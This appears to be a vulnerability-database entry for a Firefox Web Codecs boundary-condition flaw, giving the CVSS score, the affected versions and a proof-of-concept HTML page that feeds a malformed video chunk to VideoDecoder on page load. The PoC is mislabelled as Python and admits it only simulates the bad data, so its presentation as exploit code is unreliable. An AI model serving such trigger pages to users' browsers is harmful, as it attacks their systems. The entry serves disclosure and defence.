Incorrect boundary conditions in the Audio/Video: Web Codecs component. This vulnerability was fixed in Firefox 151, Firefox ESR 115.36, and Firefox ESR 140.11.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Firefox ESR < 115.36
Firefox ESR < 140.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Proof of Concept for CVE-2026-8946
Description: Attempts to trigger boundary condition error in Firefox Web Codecs API.
Usage: Open in a vulnerable version of Firefox (< 151).
-->
<html>
<head>
<title>CVE-2026-8946 PoC</title>
</head>
<body>
<script>
async function triggerVulnerability() {
try {
// Initialize VideoDecoder with a specific config
const videoDecoder = new VideoDecoder({
output: (frame) => { frame.close(); },
error: (e) => console.error('Decoder error:', e)
});
videoDecoder.configure({ codec: 'vp09.00.10.08' });
// Construct a malformed EncodedVideoChunk
// This payload simulates incorrect boundary data
// Actual exploit requires precise bitstream manipulation to hit the OOB read
const buffer = new Uint8Array([0x00, 0x00, 0x01, 0x2A, 0xFF, 0xFF, 0xFF, 0xFF]);
const chunk = new EncodedVideoChunk({
type: 'key',
timestamp: 0,
data: buffer
});
// Feed the malformed chunk to the decoder
videoDecoder.decode(chunk);
console.log('Chunk sent. Check browser console for crashes or memory errors.');
} catch (error) {
console.log('Exception during PoC execution:', error);
}
}
// Execute immediately
triggerVulnerability();
</script>
</body>
</html>